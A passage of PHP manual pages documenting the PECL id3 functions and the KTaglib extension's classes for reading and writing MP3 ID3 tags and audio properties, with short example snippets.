Returns the version number of the ID3 tag of the file. As a tag can contain ID3 v1.x and v2.x tags, the return value of this function should be bitwise compared with the predefined constants ID3_V1_0, ID3_V1_1 and ID3_V2.

Examples

Example #1 id3_get_version() example

<?php
$version = id3_get_version( "path/to/example.mp3" );
if ($version & ID3_V1_0) {
    echo "Contains a 1.x tag\n";
}
if ($version & ID3_V1_1) {
    echo "Contains a 1.1 tag\n";
}
if ($version & ID3_V2) {
    echo "Contains a 2.x tag\n";
}
?>

The above example will output something similar to:

Contains a 1.x tag
Contains a 1.1 tag

See Also

  • id3_set_tag() - Update information stored in an ID3 tag
  • id3_get_tag() - Get all information stored in an ID3 tag
  • id3_remove_tag() - Remove an existing ID3 tag

User Contributed Notes

There are no user contributed notes for this page.


Remove an existing ID3 tag

  • « id3_get_version
  • id3_set_tag »
  • PHP Manual
  • ID3 Functions
  • Remove an existing ID3 tag

id3_remove_tag

(PECL id3 >= 0.1)

id3_remove_tag — Remove an existing ID3 tag

Description

bool id3_remove_tag ( string $filename [, int $version = ID3_V1_0 ] )

id3_remove_tag() is used to remove the information stored of an ID3 tag.

Parameters

filename

The path to the MP3 file

Instead of a filename you may also pass a valid stream resource

version

Allows you to specify the version of the tag as MP3 files may contain both, version 1.x and version 2.x tags.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 id3_remove_tag() example

<?php
$result = id3_remove_tag( "path/to/example.mp3", ID3_V1_0 );
if ($result === true) {
    echo "Tag successfully removed\n";
}
?>

If the file is writable and contained a 1.0 tag, this will output:

Tag successfully removed

Notes

Note: Currently id3_remove_tag() only supports version 1.0 and 1.1. If you choose to remove a 1.0 tag and the file contains a 1.1 tag, this tag will be removed, as v1.1 is only an extension of 1.0.

See Also

  • id3_set_tag() - Update information stored in an ID3 tag
  • id3_get_tag() - Get all information stored in an ID3 tag
  • id3_get_version() - Get version of an ID3 tag

User Contributed Notes

There are no user contributed notes for this page.


Update information stored in an ID3 tag

  • « id3_remove_tag
  • KTaglib »
  • PHP Manual
  • ID3 Functions
  • Update information stored in an ID3 tag

id3_set_tag

(PECL id3 >= 0.1)

id3_set_tag — Update information stored in an ID3 tag

Description

bool id3_set_tag ( string $filename , array $tag [, int $version = ID3_V1_0 ] )

id3_set_tag() is used to change the information stored of an ID3 tag. If no tag has been present, it will be added to the file.

Parameters

filename

The path to the MP3 file

Instead of a filename you may also pass a valid stream resource

tag

An associative array of tag keys and values

The following keys may be used in the associative array:

Keys in the associative array
key | possible value | available in version
title | string with maximum of 30 characters | v1.0, v1.1
artist | string with maximum of 30 characters | v1.0, v1.1
album | string with maximum of 30 characters | v1.0, v1.1
year | 4 digits | v1.0, v1.1
genre | integer value between 0 and 147 | v1.0, v1.1
comment | string with maximum of 30 characters (28 in v1.1) | v1.0, v1.1
track | integer between 0 and 255 | v1.1

version

Allows you to specify the version of the tag as MP3 files may contain both, version 1.x and version 2.x tags

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 id3_set_tag() example

<?php
$data = array(
              "title" => "Re:Start",
              "artist" => "Re:\Legion",
              "comment" => "A nice track"
             );
$result = id3_set_tag( "path/to/example.mp3", $data, ID3_V1_0 );
if ($result === true) {
    echo "Tag successfully updated\n";
}
?>

If the file is writable, this will output:

Tag successfully updated

Notes

Note: Currently id3_set_tag() only supports version 1.0 and 1.1.

See Also

  • id3_remove_tag() - Remove an existing ID3 tag
  • id3_get_tag() - Get all information stored in an ID3 tag
  • id3_get_version() - Get version of an ID3 tag

User Contributed Notes

There are no user contributed notes for this page.


KTaglib

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
  • Predefined Constants
  • KTaglib_MPEG_File — The KTaglib_MPEG_File class
    • KTaglib_MPEG_File::__construct — Opens a new file
    • KTaglib_MPEG_File::getAudioProperties — Returns an object that provides access to the audio properties
    • KTaglib_MPEG_File::getID3v1Tag — Returns an object representing an ID3v1 tag
    • KTaglib_MPEG_File::getID3v2Tag — Returns a ID3v2 object
  • KTaglib_MPEG_AudioProperties — The KTaglib_MPEG_AudioProperties class
    • KTaglib_MPEG_AudioProperties::getBitrate — Returns the bitrate of the MPEG file
    • KTaglib_MPEG_AudioProperties::getChannels — Returns the amount of channels of a MPEG file
    • KTaglib_MPEG_AudioProperties::getLayer — Returns the layer of a MPEG file
    • KTaglib_MPEG_AudioProperties::getLength — Returns the length of a MPEG file
    • KTaglib_MPEG_AudioProperties::getSampleBitrate — Returns the sample bitrate of a MPEG file
    • KTaglib_MPEG_AudioProperties::getVersion — Returns the version of a MPEG file
    • KTaglib_MPEG_AudioProperties::isCopyrighted — Returns the copyright status of an MPEG file
    • KTaglib_MPEG_AudioProperties::isOriginal — Returns if the file is marked as the original file
    • KTaglib_MPEG_AudioProperties::isProtectionEnabled — Returns if protection mechanisms of an MPEG file are enabled
  • KTaglib_Tag — The KTaglib_Tag class
    • KTaglib_Tag::getAlbum — Returns the title string from a ID3 tag
    • KTaglib_Tag::getArtist — Returns the artist string from a ID3 tag
    • KTaglib_Tag::getComment — Returns the comment from a ID3 tag
    • KTaglib_Tag::getGenre — Returns the genre from a ID3 tag
    • KTaglib_Tag::getTitle — Returns the title string from a ID3 tag
    • KTaglib_Tag::getTrack — Returns the track number from a ID3 tag
    • KTaglib_Tag::getYear — Returns the year from a ID3 tag
    • KTaglib_Tag::isEmpty — Returns true if the tag is empty
  • KTaglib_ID3v2_Tag — The KTaglib_ID3v2_Tag class
    • KTaglib_ID3v2_Tag::addFrame — Add a frame to the ID3v2 tag
    • KTaglib_ID3v2_Tag::getFrameList — Returns an array of ID3v2 frames, associated with the ID3v2 tag
  • KTaglib_ID3v2_Frame — The KTaglib_ID3v2_Frame class
    • KTaglib_ID3v2_Frame::getSize — Returns the size of the frame in bytes
    • KTaglib_ID3v2_Frame::__toString — Returns a string representation of the frame
  • KTaglib_ID3v2_AttachedPictureFrame — The KTaglib_ID3v2_AttachedPictureFrame class
    • KTaglib_ID3v2_AttachedPictureFrame::getDescription — Returns a description for the picture in a picture frame
    • KTaglib_ID3v2_AttachedPictureFrame::getMimeType — Returns the mime type of the picture
    • KTaglib_ID3v2_AttachedPictureFrame::getType — Returns the type of the image
    • KTaglib_ID3v2_AttachedPictureFrame::savePicture — Saves the picture to a file
    • KTaglib_ID3v2_AttachedPictureFrame::setMimeType — Set's the mime type of the picture
    • KTaglib_ID3v2_AttachedPictureFrame::setPicture — Sets the frame picture to the given image
    • KTaglib_ID3v2_AttachedPictureFrame::setType — Set the type of the image

User Contributed Notes

There are no user contributed notes for this page.


Introduction

KTaglib is an object oriented binding to the taglib library from the KDE project used in projects like Amarok to read and write ID3 and Ogg tags. The library also provides access to audio information. The bindings are designed usually follow the underlying C++ API, but were changed whenever there is a more PHP-like way.

Note:

At the moment ktaglib is able to read and write ID3v1 and ID3v2 tags.

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation

User Contributed Notes

There are no user contributed notes for this page.


Requirements

If you want to build ktaglib you need at least taglib 1.5 installed. To obtain the taglib see the » taglib project page. Windows DLL's are build static against taglib, therefore there is no need to have taglib installed.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ktaglib.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

KTaglib uses class constants. Most of the constants are mappings to the according Taglib enums and constants.

KTaglib_MPEG_Header::Version1 (integer)
ID3 version is 1.0
KTaglib_MPEG_Header::Version2 (integer)
ID3 version is 2.0
KTaglib_MPEG_Header::Version2_5 (integer)
ID3 version is 2.5
KTaglib_ID3v2_AttachedPictureFrame::Other (integer)
Picture type Other
KTaglib_ID3v2_AttachedPictureFrame::FileIcon (integer)
Picture type FileIcon
KTaglib_ID3v2_AttachedPictureFrame::OtherFileIcon (integer)
Picture type OtherFileIcon
KTaglib_ID3v2_AttachedPictureFrame::FrontCover (integer)
Picture type FrontCover
KTaglib_ID3v2_AttachedPictureFrame::BackCover (integer)
Picture type BackCover
KTaglib_ID3v2_AttachedPictureFrame::LeafletPage (integer)
Picture type LeafletPage
KTaglib_ID3v2_AttachedPictureFrame::Media (integer)
Picture type Media
KTaglib_ID3v2_AttachedPictureFrame::LeadArtist (integer)
Picture type LeadArtist
KTaglib_ID3v2_AttachedPictureFrame::Artist (integer)
Picture type Artist
KTaglib_ID3v2_AttachedPictureFrame::Conductor (integer)
Picture type Condutor
KTaglib_ID3v2_AttachedPictureFrame::Band (integer)
Picture type Band
KTaglib_ID3v2_AttachedPictureFrame::Composer (integer)
Picture type Composer
KTaglib_ID3v2_AttachedPictureFrame::Lyricist (integer)
Picture type Lyricist
KTaglib_ID3v2_AttachedPictureFrame::RecordingLocation (integer)
Picture type RecordingLocation
KTaglib_ID3v2_AttachedPictureFrame::DuringRecording (integer)
Picture type DuringRecording
KTaglib_ID3v2_AttachedPictureFrame::DuringPerformance (integer)
Picture type DuringPerformance
KTaglib_ID3v2_AttachedPictureFrame::MovieScreenCapture (integer)
Picture type MovieScreenCapture
KTaglib_ID3v2_AttachedPictureFrame::ColouredFish (integer)
Picture type ColouredFish
KTaglib_ID3v2_AttachedPictureFrame::Illustration (integer)
Picture type Illustration
KTaglib_ID3v2_AttachedPictureFrame::BandLogo (integer)
Picture type BandLogo

User Contributed Notes

There are no user contributed notes for this page.


The KTaglib_MPEG_File class

(0.0.1)

Introduction

Represents an MPEG file. MPEG files can have ID3v1, ID3v2 tags and audio properties.

Class synopsis

KTaglib_MPEG_File {
/* Methods */
public KTaglib_MPEG_File getAudioProperties ( void )
public KTaglib_ID3v1_Tag getID3v1Tag ([ bool $create = false ] )
public KTaglib_ID3v2_Tag getID3v2Tag ([ bool $create = false ] )
}

Table of Contents

  • KTaglib_MPEG_File::__construct — Opens a new file
  • KTaglib_MPEG_File::getAudioProperties — Returns an object that provides access to the audio properties
  • KTaglib_MPEG_File::getID3v1Tag — Returns an object representing an ID3v1 tag
  • KTaglib_MPEG_File::getID3v2Tag — Returns a ID3v2 object

User Contributed Notes

There are no user contributed notes for this page.


Opens a new file

  • « KTaglib_MPEG_File
  • KTaglib_MPEG_File::getAudioProperties »
  • PHP Manual
  • KTaglib_MPEG_File
  • Opens a new file

KTaglib_MPEG_File::__construct

(0.0.1)

KTaglib_MPEG_File::__construct — Opens a new file

Description

public KTaglib_MPEG_File::__construct ( string $filename )

Opens a new MPEG file.

Parameters

filename

The file to read

Examples

Example #1 Opens a new MP3 file and read the title

<?php
$mpeg = new KTaglib_MPEG_File('example.mp3');
echo $mpeg->getID3v1Tag()->getTitle();
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns an object that provides access to the audio properties

  • « KTaglib_MPEG_File::__construct
  • KTaglib_MPEG_File::getID3v1Tag »
  • PHP Manual
  • KTaglib_MPEG_File
  • Returns an object that provides access to the audio properties

KTaglib_MPEG_File::getAudioProperties

(0.0.1)

KTaglib_MPEG_File::getAudioProperties — Returns an object that provides access to the audio properties

Description

public KTaglib_MPEG_File KTaglib_MPEG_File::getAudioProperties ( void )

Returns an object that provides access to the audio properties of the mpeg file.

Return Values

Returns an KTaglib_MPEG_AudioProperties object or false.

User Contributed Notes

There are no user contributed notes for this page.


Returns an object representing an ID3v1 tag

  • « KTaglib_MPEG_File::getAudioProperties
  • KTaglib_MPEG_File::getID3v2Tag »
  • PHP Manual
  • KTaglib_MPEG_File
  • Returns an object representing an ID3v1 tag

KTaglib_MPEG_File::getID3v1Tag

(0.0.1)

KTaglib_MPEG_File::getID3v1Tag — Returns an object representing an ID3v1 tag

Description

public KTaglib_ID3v1_Tag KTaglib_MPEG_File::getID3v1Tag ([ bool $create = false ] )

Returns an object that represents an ID3v1 tag, which can be used to get information about the ID3v1 tag.

Return Values

Returns an KTaglib_MPEG_ID3v1Tag object or false if there is no ID3v1 tag.

User Contributed Notes

There are no user contributed notes for this page.


Returns a ID3v2 object

  • « KTaglib_MPEG_File::getID3v1Tag
  • KTaglib_MPEG_AudioProperties »
  • PHP Manual
  • KTaglib_MPEG_File
  • Returns a ID3v2 object

KTaglib_MPEG_File::getID3v2Tag

(0.0.1)

KTaglib_MPEG_File::getID3v2Tag — Returns a ID3v2 object

Description

public KTaglib_ID3v2_Tag KTaglib_MPEG_File::getID3v2Tag ([ bool $create = false ] )

Returns a ID3v2 object for the mpeg file. If no ID3v2 Tag is present, an KTaglib_TagNotFoundException is thrown.

Return Values

Returns the KTaglib_ID3v2_Tag object of the MPEG file or false if there is no ID3v2 tag

User Contributed Notes

There are no user contributed notes for this page.


The KTaglib_MPEG_AudioProperties class

(0.0.1)

Introduction

Represents the audio properties of a MPEG file, like length, bitrate or samplerate.

Class synopsis

KTaglib_MPEG_AudioProperties {
/* Methods */
public int KTaglib_MPEG_AudioProperties::getBitrate ( void )
public int KTaglib_MPEG_AudioProperties::getChannels ( void )
public int KTaglib_MPEG_AudioProperties::getLayer ( void )
public int KTaglib_MPEG_AudioProperties::getLength ( void )
public int KTaglib_MPEG_AudioProperties::getSampleBitrate ( void )
public int KTaglib_MPEG_AudioProperties::getVersion ( void )
public bool KTaglib_MPEG_AudioProperties::isCopyrighted ( void )
public bool KTaglib_MPEG_AudioProperties::isOriginal ( void )
public bool KTaglib_MPEG_AudioProperties::isProtectionEnabled ( void )
}

Table of Contents

  • KTaglib_MPEG_AudioProperties::getBitrate — Returns the bitrate of the MPEG file
  • KTaglib_MPEG_AudioProperties::getChannels — Returns the amount of channels of a MPEG file
  • KTaglib_MPEG_AudioProperties::getLayer — Returns the layer of a MPEG file
  • KTaglib_MPEG_AudioProperties::getLength — Returns the length of a MPEG file
  • KTaglib_MPEG_AudioProperties::getSampleBitrate — Returns the sample bitrate of a MPEG file
  • KTaglib_MPEG_AudioProperties::getVersion — Returns the version of a MPEG file
  • KTaglib_MPEG_AudioProperties::isCopyrighted — Returns the copyright status of an MPEG file
  • KTaglib_MPEG_AudioProperties::isOriginal — Returns if the file is marked as the original file
  • KTaglib_MPEG_AudioProperties::isProtectionEnabled — Returns if protection mechanisms of an MPEG file are enabled

User Contributed Notes

There are no user contributed notes for this page.


Returns the bitrate of the MPEG file

  • « KTaglib_MPEG_AudioProperties
  • KTaglib_MPEG_AudioProperties::getChannels »
  • PHP Manual
  • KTaglib_MPEG_AudioProperties
  • Returns the bitrate of the MPEG file

KTaglib_MPEG_AudioProperties::getBitrate

(0.0.1)

KTaglib_MPEG_AudioProperties::getBitrate — Returns the bitrate of the MPEG file

Description

public int KTaglib_MPEG_AudioProperties::getBitrate ( void )

Returns the bitrate of the MPEG file

Return Values

Returns the bitrate as an integer

User Contributed Notes

There are no user contributed notes for this page.


Returns the amount of channels of a MPEG file

  • « KTaglib_MPEG_AudioProperties::getBitrate
  • KTaglib_MPEG_AudioProperties::getLayer »
  • PHP Manual
  • KTaglib_MPEG_AudioProperties
  • Returns the amount of channels of a MPEG file

KTaglib_MPEG_AudioProperties::getChannels

(0.0.1)

KTaglib_MPEG_AudioProperties::getChannels — Returns the amount of channels of a MPEG file

Description

public int KTaglib_MPEG_AudioProperties::getChannels ( void )

Returns the amount of channels of the MPEG file

Return Values

Returns the channel count as an integer

User Contributed Notes

There are no user contributed notes for this page.


Returns the layer of a MPEG file

  • « KTaglib_MPEG_AudioProperties::getChannels
  • KTaglib_MPEG_AudioProperties::getLength »
  • PHP Manual
  • KTaglib_MPEG_AudioProperties
  • Returns the layer of a MPEG file

KTaglib_MPEG_AudioProperties::getLayer

(0.0.1)

KTaglib_MPEG_AudioProperties::getLayer — Returns the layer of a MPEG file

Description

public int KTaglib_MPEG_AudioProperties::getLayer ( void )

Returns the layer of the MPEG file (usually 3 for MP3).

Return Values

Returns the layer as an integer

User Contributed Notes

There are no user contributed notes for this page.


Returns the length of a MPEG file

  • « KTaglib_MPEG_AudioProperties::getLayer
  • KTaglib_MPEG_AudioProperties::getSampleBitrate »
  • PHP Manual
  • KTaglib_MPEG_AudioProperties
  • Returns the length of a MPEG file

KTaglib_MPEG_AudioProperties::getLength

(0.0.1)

KTaglib_MPEG_AudioProperties::getLength — Returns the length of a MPEG file

Description

public int KTaglib_MPEG_AudioProperties::getLength ( void )

Returns the length of the MPEG file

Return Values

Returns the length as an integer

User Contributed Notes

There are no user contributed notes for this page.


Returns the sample bitrate of a MPEG file

  • « KTaglib_MPEG_AudioProperties::getLength
  • KTaglib_MPEG_AudioProperties::getVersion »
  • PHP Manual
  • KTaglib_MPEG_AudioProperties
  • Returns the sample bitrate of a MPEG file

KTaglib_MPEG_AudioProperties::getSampleBitrate

(0.0.1)

KTaglib_MPEG_AudioProperties::getSampleBitrate — Returns the sample bitrate of a MPEG file

Description

public int KTaglib_MPEG_AudioProperties::getSampleBitrate ( void )

Returns the sample bitrate of the MPEG file

Return Values

Returns the sample bitrate as an integer

User Contributed Notes

There are no user contributed notes for this page.


Returns the version of a MPEG file

  • « KTaglib_MPEG_AudioProperties::getSampleBitrate
  • KTaglib_MPEG_AudioProperties::isCopyrighted »
  • PHP Manual
  • KTaglib_MPEG_AudioProperties
  • Returns the version of a MPEG file

KTaglib_MPEG_AudioProperties::getVersion

(0.0.1)

KTaglib_MPEG_AudioProperties::getVersion — Returns the version of a MPEG file

Description

public int KTaglib_MPEG_AudioProperties::getVersion ( void )

Returns the version of the MPEG file header. The possible versions are defined in Tag_MPEG_Header (Version1, Version2, Version2.5).

Return Values

Returns the version

User Contributed Notes

There are no user contributed notes for this page.


Returns the copyright status of an MPEG file

  • « KTaglib_MPEG_AudioProperties::getVersion
  • KTaglib_MPEG_AudioProperties::isOriginal »
  • PHP Manual
  • KTaglib_MPEG_AudioProperties
  • Returns the copyright status of an MPEG file

KTaglib_MPEG_AudioProperties::isCopyrighted

(0.0.1)

KTaglib_MPEG_AudioProperties::isCopyrighted — Returns the copyright status of an MPEG file

Description

public bool KTaglib_MPEG_AudioProperties::isCopyrighted ( void )

Returns true if the MPEG file is copyrighted

Return Values

Returns true if the MPEG file is copyrighted

User Contributed Notes

There are no user contributed notes for this page.


Returns if the file is marked as the original file

  • « KTaglib_MPEG_AudioProperties::isCopyrighted
  • KTaglib_MPEG_AudioProperties::isProtectionEnabled »
  • PHP Manual
  • KTaglib_MPEG_AudioProperties
  • Returns if the file is marked as the original file

KTaglib_MPEG_AudioProperties::isOriginal

(0.0.1)

KTaglib_MPEG_AudioProperties::isOriginal — Returns if the file is marked as the original file

Description

public bool KTaglib_MPEG_AudioProperties::isOriginal ( void )

Returns true if the file is marked as the original file

Return Values

Returns true if the file is marked as the original file

User Contributed Notes

There are no user contributed notes for this page.


Returns if protection mechanisms of an MPEG file are enabled

  • « KTaglib_MPEG_AudioProperties::isOriginal
  • KTaglib_Tag »
  • PHP Manual
  • KTaglib_MPEG_AudioProperties
  • Returns if protection mechanisms of an MPEG file are enabled

KTaglib_MPEG_AudioProperties::isProtectionEnabled

(0.0.1)

KTaglib_MPEG_AudioProperties::isProtectionEnabled — Returns if protection mechanisms of an MPEG file are enabled

Description

public bool KTaglib_MPEG_AudioProperties::isProtectionEnabled ( void )

Returns true if protection mechanisms (like DRM) are enabled for this file

Return Values

Returns true if protection mechanisms (like DRM) are enabled for this file

User Contributed Notes

There are no user contributed notes for this page.


The KTaglib_Tag class

(0.0.1)

Introduction

Base class for ID3v1 or ID3v2 tags

Class synopsis

KTaglib_Tag {
/* Methods */
public string getAlbum ( void )
public string getArtist ( void )
public string getComment ( void )
public string getGenre ( void )
public string getTitle ( void )
public int getTrack ( void )
public int getYear ( void )
public bool isEmpty ( void )
}

Table of Contents

  • KTaglib_Tag::getAlbum — Returns the title string from a ID3 tag
  • KTaglib_Tag::getArtist — Returns the artist string from a ID3 tag
  • KTaglib_Tag::getComment — Returns the comment from a ID3 tag
  • KTaglib_Tag::getGenre — Returns the genre from a ID3 tag
  • KTaglib_Tag::getTitle — Returns the title string from a ID3 tag
  • KTaglib_Tag::getTrack — Returns the track number from a ID3 tag
  • KTaglib_Tag::getYear — Returns the year from a ID3 tag
  • KTaglib_Tag::isEmpty — Returns true if the tag is empty

User Contributed Notes

There are no user contributed notes for this page.


Returns the title string from a ID3 tag

  • « KTaglib_Tag
  • KTaglib_Tag::getArtist »
  • PHP Manual
  • KTaglib_Tag
  • Returns the title string from a ID3 tag

KTaglib_Tag::getAlbum

(0.0.1)

KTaglib_Tag::getAlbum — Returns the title string from a ID3 tag

Description

public string KTaglib_Tag::getAlbum ( void )

Returns the album string of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the album string

User Contributed Notes

There are no user contributed notes for this page.


Returns the artist string from a ID3 tag

  • « KTaglib_Tag::getAlbum
  • KTaglib_Tag::getComment »
  • PHP Manual
  • KTaglib_Tag
  • Returns the artist string from a ID3 tag

KTaglib_Tag::getArtist

(0.0.1)

KTaglib_Tag::getArtist — Returns the artist string from a ID3 tag

Description

public string KTaglib_Tag::getArtist ( void )

Returns the artist string of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the artist string

User Contributed Notes

There are no user contributed notes for this page.


Returns the comment from a ID3 tag

  • « KTaglib_Tag::getArtist
  • KTaglib_Tag::getGenre »
  • PHP Manual
  • KTaglib_Tag
  • Returns the comment from a ID3 tag

KTaglib_Tag::getComment

(0.0.1)

KTaglib_Tag::getComment — Returns the comment from a ID3 tag

Description

public string KTaglib_Tag::getComment ( void )

Returns the comment of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the comment string

User Contributed Notes

There are no user contributed notes for this page.


Returns the genre from a ID3 tag

  • « KTaglib_Tag::getComment
  • KTaglib_Tag::getTitle »
  • PHP Manual
  • KTaglib_Tag
  • Returns the genre from a ID3 tag

KTaglib_Tag::getGenre

(0.0.1)

KTaglib_Tag::getGenre — Returns the genre from a ID3 tag

Description

public string KTaglib_Tag::getGenre ( void )

Returns the genre of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the genre string

User Contributed Notes

There are no user contributed notes for this page.


Returns the title string from a ID3 tag

  • « KTaglib_Tag::getGenre
  • KTaglib_Tag::getTrack »
  • PHP Manual
  • KTaglib_Tag
  • Returns the title string from a ID3 tag

KTaglib_Tag::getTitle

(0.0.1)

KTaglib_Tag::getTitle — Returns the title string from a ID3 tag

Description

public string KTaglib_Tag::getTitle ( void )

Returns the title string of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the title string

User Contributed Notes

There are no user contributed notes for this page.


Returns the track number from a ID3 tag

  • « KTaglib_Tag::getTitle
  • KTaglib_Tag::getYear »
  • PHP Manual
  • KTaglib_Tag
  • Returns the track number from a ID3 tag

KTaglib_Tag::getTrack

(0.0.1)

KTaglib_Tag::getTrack — Returns the track number from a ID3 tag

Description

public int KTaglib_Tag::getTrack ( void )

Returns the track number of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the track number as an integer

User Contributed Notes

There are no user contributed notes for this page.


Returns the year from a ID3 tag

  • « KTaglib_Tag::getTrack
  • KTaglib_Tag::isEmpty »
  • PHP Manual
  • KTaglib_Tag
  • Returns the year from a ID3 tag

KTaglib_Tag::getYear

(0.0.1)

KTaglib_Tag::getYear — Returns the year from a ID3 tag

Description

public int KTaglib_Tag::getYear ( void )

Returns the year of an ID3 tag. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns the year as an integer

User Contributed Notes

There are no user contributed notes for this page.


Returns true if the tag is empty

  • « KTaglib_Tag::getYear
  • KTaglib_ID3v2_Tag »
  • PHP Manual
  • KTaglib_Tag
  • Returns true if the tag is empty

KTaglib_Tag::isEmpty

(0.0.1)

KTaglib_Tag::isEmpty — Returns true if the tag is empty

Description

public bool KTaglib_Tag::isEmpty ( void )

Returns true if the tag exists, but is empty. This method is implemented in ID3v1 and ID3v2 tags.

Return Values

Returns true if the tag is empty, otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


The KTaglib_ID3v2_Tag class

(0.0.1)

Introduction

Represents and ID3v2 tag. It provides a list of ID3v2 frames and can be used to add and remove additional frames.

Class synopsis

extends KTaglib_Tag {
/* Methods */
public bool addFrame ( KTaglib_ID3v2_Frame $frame )
public array getFrameList ( void )
/* Inherited methods */
public string KTaglib_Tag::getAlbum ( void )
public string KTaglib_Tag::getArtist ( void )
public string KTaglib_Tag::getComment ( void )
public string KTaglib_Tag::getGenre ( void )
public string KTaglib_Tag::getTitle ( void )
public int KTaglib_Tag::getTrack ( void )
public int KTaglib_Tag::getYear ( void )
public bool KTaglib_Tag::isEmpty ( void )
}

Table of Contents

  • KTaglib_ID3v2_Tag::addFrame — Add a frame to the ID3v2 tag
  • KTaglib_ID3v2_Tag::getFrameList — Returns an array of ID3v2 frames, associated with the ID3v2 tag

User Contributed Notes

There are no user contributed notes for this page.


Add a frame to the ID3v2 tag

  • « KTaglib_ID3v2_Tag
  • KTaglib_ID3v2_Tag::getFrameList »
  • PHP Manual
  • KTaglib_ID3v2_Tag
  • Add a frame to the ID3v2 tag

KTaglib_ID3v2_Tag::addFrame

(0.0.1)

KTaglib_ID3v2_Tag::addFrame — Add a frame to the ID3v2 tag

Description

public bool KTaglib_ID3v2_Tag::addFrame ( KTaglib_ID3v2_Frame $frame )

Adds a frame to the ID3v2 tag. The frame must be a valid KTaglib_ID3v2_Frame object. To save the tag, the save function needs to be invoked.

Return Values

Returns true on success, otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of ID3v2 frames, associated with the ID3v2 tag

  • « KTaglib_ID3v2_Tag::addFrame
  • KTaglib_ID3v2_Frame »
  • PHP Manual
  • KTaglib_ID3v2_Tag
  • Returns an array of ID3v2 frames, associated with the ID3v2 tag

KTaglib_ID3v2_Tag::getFrameList

(0.0.1)

KTaglib_ID3v2_Tag::getFrameList — Returns an array of ID3v2 frames, associated with the ID3v2 tag

Description

public array KTaglib_ID3v2_Tag::getFrameList ( void )

Returns an array of ID3v2 frames, associated with the ID3v2 tag.

Return Values

Return an array of KTaglib_ID3v2_Frame objects

User Contributed Notes

There are no user contributed notes for this page.


The KTaglib_ID3v2_Frame class

(0.0.1)

Introduction

The base class for ID3v2 frames. ID3v2 tags are separated in various specialized frames. Some frames can exists multiple times.

Class synopsis

extends KTaglib_Tag {
/* Methods */
public int getSize ( void )
public string __toString ( void )
/* Inherited methods */
public string KTaglib_Tag::getAlbum ( void )
public string KTaglib_Tag::getArtist ( void )
public string KTaglib_Tag::getComment ( void )
public string KTaglib_Tag::getGenre ( void )
public string KTaglib_Tag::getTitle ( void )
public int KTaglib_Tag::getTrack ( void )
public int KTaglib_Tag::getYear ( void )
public bool KTaglib_Tag::isEmpty ( void )
}

Table of Contents

  • KTaglib_ID3v2_Frame::getSize — Returns the size of the frame in bytes
  • KTaglib_ID3v2_Frame::__toString — Returns a string representation of the frame

User Contributed Notes

There are no user contributed notes for this page.


Returns the size of the frame in bytes

  • « KTaglib_ID3v2_Frame
  • KTaglib_ID3v2_Frame::__toString »
  • PHP Manual
  • KTaglib_ID3v2_Frame
  • Returns the size of the frame in bytes

KTaglib_ID3v2_Frame::getSize

(0.0.1)

KTaglib_ID3v2_Frame::getSize — Returns the size of the frame in bytes

Description

public int KTaglib_ID3v2_Frame::getSize ( void )

Returns the size of the frame in bytes. Please refer to id3.org to see what ID3v2 frames are and how they are defined.

Return Values

Returns the size of the frame in bytes

User Contributed Notes

There are no user contributed notes for this page.


Returns a string representation of the frame

  • « KTaglib_ID3v2_Frame::getSize
  • KTaglib_ID3v2_AttachedPictureFrame »
  • PHP Manual
  • KTaglib_ID3v2_Frame
  • Returns a string representation of the frame

KTaglib_ID3v2_Frame::__toString

(0.0.1)

KTaglib_ID3v2_Frame::__toString — Returns a string representation of the frame

Description

public string KTaglib_ID3v2_Frame::__toString ( void )

Returns a string representation of the frame. This might be just the frame id, but might contain more information. Please see the ktaglib documentation for more information

Return Values

Returns a string representation of the frame.

User Contributed Notes

There are no user contributed notes for this page.


The KTaglib_ID3v2_AttachedPictureFrame class

(0.0.1)

Introduction

Represents an ID3v2 frame that can hold a picture.

Class synopsis

extends KTaglib_ID3v2_Frame {
/* Methods */
public string getDescription ( void )
public string getMimeType ( void )
public int getType ( void )
public bool savePicture ( string $filename )
public string getMimeType ( string $type )
public void setPicture ( string $filename )
public void setType ( int $type )
/* Inherited methods */
public int KTaglib_ID3v2_Frame::getSize ( void )
public string KTaglib_ID3v2_Frame::__toString ( void )
public string KTaglib_Tag::getAlbum ( void )
public string KTaglib_Tag::getArtist ( void )
public string KTaglib_Tag::getComment ( void )
public string KTaglib_Tag::getGenre ( void )
public string KTaglib_Tag::getTitle ( void )
public int KTaglib_Tag::getTrack ( void )
public int KTaglib_Tag::getYear ( void )
public bool KTaglib_Tag::isEmpty ( void )
}

Table of Contents

  • KTaglib_ID3v2_AttachedPictureFrame::getDescription — Returns a description for the picture in a picture frame
  • KTaglib_ID3v2_AttachedPictureFrame::getMimeType — Returns the mime type of the picture
  • KTaglib_ID3v2_AttachedPictureFrame::getType — Returns the type of the image
  • KTaglib_ID3v2_AttachedPictureFrame::savePicture — Saves the picture to a file
  • KTaglib_ID3v2_AttachedPictureFrame::setMimeType — Set's the mime type of the picture
  • KTaglib_ID3v2_AttachedPictureFrame::setPicture — Sets the frame picture to the given image
  • KTaglib_ID3v2_AttachedPictureFrame::setType — Set the type of the image

User Contributed Notes

There are no user contributed notes for this page.


Returns a description for the picture in a picture frame

  • « KTaglib_ID3v2_AttachedPictureFrame
